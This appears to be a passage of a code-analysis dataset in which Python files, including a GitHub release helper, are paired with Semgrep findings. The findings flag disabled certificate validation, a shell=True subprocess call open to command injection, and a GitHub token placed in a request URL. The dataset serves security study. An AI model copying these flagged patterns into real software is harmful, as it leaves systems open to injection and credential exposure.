| 107 | 43.45 | 159 | 18 | 1,020 | python | [{"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_ec0a8fdba24910a1_6427975e", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 66, "line_end": 66, "column_start": 27, "column_end": 108, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmppq52ww6s/ec0a8fdba24910a1.py", "start": {"line": 66, "col": 27, "offset": 2835}, "end": {"line": 66, "col": 108, "offset": 2916}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_ec0a8fdba24910a1_c6057c26", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(mssql_assets_url, headers=headers, params=queryparams, verify=False, timeout=30)", "location": {"file_path": "unknown", "line_start": 66, "line_end": 66, "column_start": 27, "column_end": 108, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmppq52ww6s/ec0a8fdba24910a1.py", "start": {"line": 66, "col": 27, "offset": 2835}, "end": {"line": 66, "col": 108, "offset": 2916}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(mssql_assets_url, headers=headers, params=queryparams, verify=False, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.security.disabled-cert-validation_ec0a8fdba24910a1_264fcf5c", "tool_name": "semgrep", "rule_id": "rules.python.requests.security.disabled-cert-validation", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.", "remediation": "requests.get(mssql_assets_url, headers=headers, params=queryparams, verify=True)", "location": {"file_path": "unknown", "line_start": 66, "line_end": 66, "column_start": 27, "column_end": 108, "code_snippet": "requires login"}, "cwe_id": "CWE-295: Improper Certificate Validation", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.security.disabled-cert-validation", "path": "/tmp/tmppq52ww6s/ec0a8fdba24910a1.py", "start": {"line": 66, "col": 27, "offset": 2835}, "end": {"line": 66, "col": 108, "offset": 2916}, "extra": {"message": "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.", "fix": "requests.get(mssql_assets_url, headers=headers, params=queryparams, verify=True)", "metadata": {"cwe": ["CWE-295: Improper Certificate Validation"], "owasp": ["A03:2017 - Sensitive Data Exposure", "A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "references": ["https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib"], "category": "security", "technology": ["requests"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-295"
] | [
"rules.python.requests.security.disabled-cert-validation"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
66
] | [
66
] | [
27
] | [
108
] | [
"A03:2017 - Sensitive Data Exposure"
] | [
"Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation."
] | [
7.5
] | [
"LOW"
] | [
"LOW"
] | get_mssql_assets.py | /snippets/python/get_mssql_assets.py | ntbritton/netbackup-api-code-samples | MIT | |
2024-11-18T19:07:38.876026+00:00 | 1,651,319,168,000 | 9b5b8559dac2833e2532118ec696f29d77bc42a4 | 3 | {
"blob_id": "9b5b8559dac2833e2532118ec696f29d77bc42a4",
"branch_name": "refs/heads/master",
"committer_date": 1651319168000,
"content_id": "00e0b988d7915dad4aba2ca38059009a0d4ce3f3",
"detected_licenses": [
"MIT"
],
"directory_id": "3fac108364d19ea107a66711b9e27eccf77b08d8",
"extension": "py",
"filename": "_release_tools.py",
"fork_events_count": 11,
"gha_created_at": 1469729331000,
"gha_event_created_at": 1651319018000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 64417577,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 10285,
"license": "MIT",
"license_type": "permissive",
"path": "/gslab_scons/_release_tools.py",
"provenance": "stack-edu-0054.json.gz:579332",
"repo_name": "gslab-econ/gslab_python",
"revision_date": 1651319168000,
"revision_id": "b1c970e13f97e81377bb8e958bdf4a47ac6d6ad7",
"snapshot_id": "59055640ace052a8e914d3c7ecbb4e1ad46931d9",
"src_encoding": "UTF-8",
"star_events_count": 12,
"url": "https://raw.githubusercontent.com/gslab-econ/gslab_python/b1c970e13f97e81377bb8e958bdf4a47ac6d6ad7/gslab_scons/_release_tools.py",
"visit_date": "2022-05-24T15:34:38.652392"
} | 2.546875 | stackv2 | import requests
import getpass
import re
import json
import time
import os
import sys
import shutil
import subprocess
from _exception_classes import ReleaseError
def release(vers, org, repo,
DriveReleaseFiles = [],
local_release = '',
target_commitish = '',
zip_release = True,
github_token = None):
'''Publish a release
Parameters
----------
env: an SCons environment object
vers: the version of the release
DriveReleaseFiles a optional list of files to be included in a
release to drive (e.g. DropBox or Google Drive).
local_release: The path of the release directory on the user's computer.
org: The GtHub organisaton hosting the repository specified by `repo`.
repo: The name of the GitHub repository from which the user is making
the release.
'''
# Check the argument types
if bool(github_token) is False:
github_token = getpass.getpass("Enter a GitHub token and then press enter: ")
tag_name = vers
releases_path = 'https://%s:@api.github.com/repos/%s/%s/releases' \
% (github_token, org, repo)
session = requests.session()
# Create release
payload = {'tag_name': tag_name,
'target_commitish': target_commitish,
'name': tag_name,
'body': '',
'draft': 'FALSE',
'prerelease': 'FALSE'}
json_dump = json.dumps(payload)
json_dump = re.sub('"FALSE"', 'false', json_dump)
posting = session.post(releases_path, data = json_dump)
# Check that the GitHub release was successful
try:
posting.raise_for_status()
except requests.exceptions.HTTPError:
message = "We could not post the following json to the releases path \n"
message = message + ("https://YOURTOKEN:@api.github.com/repos/%s/%s/releases \n" % (org, repo))
message = message + "The json looks like this:"
print(message)
for (k,v) in payload.items():
print(" '%s' : '%s' " % (k,v))
raise requests.exceptions.HTTPError
# Release to drive
if bool(DriveReleaseFiles):
# Delay
time.sleep(1)
if isinstance(DriveReleaseFiles, basestring):
DriveReleaseFiles = [DriveReleaseFiles]
# Get release ID
json_releases = session.get(releases_path)
# Check that the request was successful
json_releases.raise_for_status()
json_output = json_releases.content
json_split = json_output.split(',')
# The id for each tag appears immediately before its tag name
# in the releases json object.
tag_name_index = json_split.index('"tag_name":"%s"' % tag_name)
release_id = json_split[tag_name_index - 1].split(':')[1]
# Get root directory name on drive
path = local_release.split('/')
drive_name = path[-2]
dir_name = path[-1]
if not os.path.isdir(local_release):
os.makedirs(local_release)
# If the files released to drive are to be zipped,
# specify their copy destination as an intermediate directory
if zip_release:
archive_files = 'release_content'
if os.path.isdir(archive_files):
shutil.rmtree(archive_files)
os.makedirs(archive_files)
destination_base = archive_files
drive_header = '%s: release/%s/%s/release_content.zip' % \
(drive_name, dir_name, vers)
# Otherwise, send the release files directly to the local release
# drive directory
else:
destination_base = local_release
drive_header = '%s:' % drive_name
for path in DriveReleaseFiles:
file_name = os.path.basename(path)
folder_name = os.path.dirname(path)
destination = os.path.join(destination_base, folder_name)
if not os.path.isdir(destination):
os.makedirs(destination)
shutil.copy(path, os.path.join(destination, file_name))
if zip_release:
shutil.make_archive(archive_files, 'zip', archive_files)
shutil.rmtree(archive_files)
shutil.move(archive_files + '.zip',
os.path.join(local_release, 'release.zip'))
if not zip_release:
make_paths = lambda s: 'release/%s/%s/%s' % (dir_name, vers, s)
DriveReleaseFiles = map(make_paths, DriveReleaseFiles)
with open('drive_assets.txt', 'wb') as f:
f.write('\n'.join([drive_header] + DriveReleaseFiles))
upload_asset(github_token = github_token,
org = org,
repo = repo,
release_id = release_id,
file_name = 'drive_assets.txt')
os.remove('drive_assets.txt')
def upload_asset(github_token, org, repo, release_id, file_name,
content_type = 'text/markdown'):
'''
This function uploads a release asset to GitHub.
--Parameters--
github_token: a GitHub token
org: the GitHub organisation to which the repository associated
with the release belongs
repo: the GitHub repository associated with the release
release_id: the release's ID
file_name: the name of the asset being released
content_type: the content type of the asset. This must be one of
types accepted by GitHub.
'''
session = requests.session()
if not os.path.isfile(file_name):
raise ReleaseError('upload_asset() cannot find file_name')
files = {'file' : open(file_name, 'rU')}
header = {'Authorization': 'token %s' % github_token,
'Content-Type': content_type}
path_base = 'https://uploads.github.com/repos'
upload_path = '%s/%s/%s/releases/%s/assets?name=%s' % \
(path_base, org, repo, release_id, file_name)
r = session.post(upload_path, files = files, headers = header)
return r.content
def scons_up_to_date(scons_local_path):
'''
Execute a SCons dry run and check that all the build steps are already up-to-date.
'''
# Determine whether we're in an SCons directory.
if not os.path.isfile('SConstruct'):
raise ReleaseError('scons_up_to_date must be run on an SCons directory.')
# Execute the dry run and log its output.
if scons_local_path is not None:
scons_installation = 'python ' + scons_local_path
else:
scons_installation = 'scons '
command = scons_installation + ' --dry-run'
log = execute_up_to_date(command)
# Determine if SCons could start to run based on SCons logging.
if not check_list_for_regex('scons: Reading SConscript files', log):
raise ReleaseError('scons_up_to_date must be able to begin SCons build process.')
# Look for a line stating that the directory is up to date.
result = check_list_for_regex('is up to date\.$', log)
return result
def git_up_to_date():
'''
Execute a git status and check that all changes are committed.
'''
# If mode = git, check whether the working tree is clean.
command = 'git status'
log = execute_up_to_date(command)
# Determine whether we're in a git repository based on git logging.
if check_list_for_regex('Not a git repository', log):
raise ReleaseError('git_up_to_date must be run on a git repository.')
result = check_list_for_regex('nothing to commit, working tree clean', log)
return result
def execute_up_to_date(command):
'''
Execute command (passed from *_up_to_date) redirecting output to log.
Return the log as a list of stripped strings.
'''
logpath = 'temp_log_up_to_date'
with open(logpath, 'wb') as temp_log:
subprocess.call(command, stdout = temp_log, stderr = temp_log, shell = True)
with open(logpath, 'rU') as temp_log:
output = [line.strip() for line in temp_log]
os.remove(logpath)
return output
def check_list_for_regex(regex, l):
'''
True if any successful re.search for text in elements of list. False otherwise.
'''
return bool([True for entry in l if re.search(regex, entry)])
def extract_dot_git(path = '.git'):
'''
Extract information from a GitHub repository from a
.git directory
This functions returns the repository, organisation, and
branch name of a cloned GitHub repository. The user may
specify an alternative path to the .git directory through
the optional `path` argument.
'''
# Read the config file in the repository's .git directory
try:
details = open('%s/config' % path, 'rU').readlines()
except Exception as err:
raise ReleaseError("Could not read %s/config. Reason: %s" % \
(path, str(err)))
# Clean each line of this file's contents
details = map(lambda s: s.strip(), details)
# Search for the line specifying information for origin
origin_line = [bool(re.search('\[remote "origin"\]', detail)) \
for detail in details]
origin_line = origin_line.index(True)
# The next line should contain the url for origin
# If not, keep looking for the url line
found_url = False
for i in range(origin_line + 1, len(details)):
url_line = details[i]
if re.search('^url =', url_line):
found_url = True
break
if not found_url:
raise ReleaseError('url for git origin not found.')
# Extract information from the url line
# We expect one of:
# SSH: "url = git@github.com:<organisation>/<repository>/.git"
# HTTPS: "https://github.com/<organisation>/<repository>.git"
repo_info = re.findall('github.com[:/]([\w-]+)/([\w-]+)', url_line)
organisation = repo_info[0][0]
repo = repo_info[0][1]
# Next, find the branch's name
branch_info = open('%s/HEAD' % path, 'rU').readlines()
branch = re.findall('ref: refs/heads/(.+)\\n', branch_info[0])[0]
return repo, organisation, branch
| 278 | 36 | 104 | 15 | 2,337 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_7135b9994736e021_00eab4eb", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 69, "line_end": 69, "column_start": 9, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmppq52ww6s/7135b9994736e021.py", "start": {"line": 69, "col": 9, "offset": 2296}, "end": {"line": 69, "col": 22, "offset": 2309}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_7135b9994736e021_d912b655", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 161, "line_end": 161, "column_start": 24, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/7135b9994736e021.py", "start": {"line": 161, "col": 24, "offset": 5836}, "end": {"line": 161, "col": 45, "offset": 5857}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_7135b9994736e021_c271ad92", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 215, "line_end": 215, "column_start": 9, "column_end": 85, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/7135b9994736e021.py", "start": {"line": 215, "col": 9, "offset": 8000}, "end": {"line": 215, "col": 85, "offset": 8076}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_7135b9994736e021_18544e57", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 215, "line_end": 215, "column_start": 20, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmppq52ww6s/7135b9994736e021.py", "start": {"line": 215, "col": 20, "offset": 8011}, "end": {"line": 215, "col": 24, "offset": 8015}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_7135b9994736e021_80983e51", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'call' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 215, "line_end": 215, "column_start": 80, "column_end": 84, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmppq52ww6s/7135b9994736e021.py", "start": {"line": 215, "col": 80, "offset": 8071}, "end": {"line": 215, "col": 84, "offset": 8075}, "extra": {"message": "Found 'subprocess' function 'call' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_7135b9994736e021_483f6b0c", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 216, "line_end": 216, "column_start": 10, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/7135b9994736e021.py", "start": {"line": 216, "col": 10, "offset": 8086}, "end": {"line": 216, "col": 29, "offset": 8105}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_7135b9994736e021_a37f6a1b", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 241, "line_end": 241, "column_start": 19, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/7135b9994736e021.py", "start": {"line": 241, "col": 19, "offset": 8854}, "end": {"line": 241, "col": 49, "offset": 8884}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_7135b9994736e021_9dbc5f71", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 275, "line_end": 275, "column_start": 19, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/7135b9994736e021.py", "start": {"line": 275, "col": 19, "offset": 10135}, "end": {"line": 275, "col": 47, "offset": 10163}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 8 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.subprocess-shell-true"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
215,
215
] | [
215,
215
] | [
9,
80
] | [
85,
84
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Found 'subprocess' functio... | [
7.5,
7.5
] | [
"LOW",
"HIGH"
] | [
"HIGH",
"LOW"
] | _release_tools.py | /gslab_scons/_release_tools.py | gslab-econ/gslab_python | MIT | |
2024-11-18T19:07:41.584425+00:00 | 1,337,640,875,000 | 6a9d8a87629ad35c7a8baf8538c5939e5a6a8c54 | 3 | {
"blob_id": "6a9d8a87629ad35c7a8baf8538c5939e5a6a8c54",
"branch_name": "refs/heads/master",
"committer_date": 1337640899000,
"content_id": "ffb33e39242d681b31e21e6a59a8468c1125902c",
"detected_licenses": [
"Apache-2.0",
"MIT"
],
"directory_id": "fbb8455767b49c8a6d72d2185fd7e0567a46555d",
"extension": "py",
"filename": "columngroup.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 17119,
"license": "Apache-2.0,MIT",
"license_type": "permissive",
"path": "/site/Harvard-Reunion/scripts/harris_import/csvcolumns/columngroup.py",
"provenance": "stack-edu-0054.json.gz:579342",
"repo_name": "Socialinsect/Harvard-Reunion-Mobile-Web",
"revision_date": 1337640875000,
"revision_id": "aa62ecfb263df15809ed88580c5a828dbd57bbe1",
"snapshot_id": "193348525123b387c4ab349b99a30ca3ce1b4046",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/Socialinsect/Harvard-Reunion-Mobile-Web/aa62ecfb263df15809ed88580c5a828dbd57bbe1/site/Harvard-Reunion/scripts/harris_import/csvcolumns/columngroup.py",
"visit_date": "2020-04-21T10:00:25.643712"
} | 3.078125 | stackv2 | """
* ColumnGroups are an ordered, named grouping of Data/LazyColumns. Column
names must be unique. ColumnGroups can be created from CSVs.
"""
import csv
from collections import namedtuple
from cStringIO import StringIO
from itertools import count, groupby, imap, izip
from operator import attrgetter, itemgetter
from column import DataColumn
class ColumnGroup(object):
"""A ColumnGroup is a way to group columns together and give them names.
A Column object is just data, it has no name or identifier. This is a
helpful abstraction because many times the same column data is referenced
under many different names.
Column names must be unique.
"""
def __init__(self, name_col_pairs):
"""
@param name_col_pairs is an iterable of (string, Column) tuples, where
the string is the name of the Column. Column
names must be unique. Column lengths must be
the same. An empty list is acceptable.
"""
# An empty name_col_pairs means an empty ColumnGroup, but that might
# still be valid.
if not name_col_pairs:
self._name_to_col = {}
self._column_names = ()
self._columns = ()
return
# Check: Our name/column pairs really are pairs
for pair in name_col_pairs:
if len(pair) != 2:
raise ValueError("Pair %s does not have 2 elements" %
(repr(pair)))
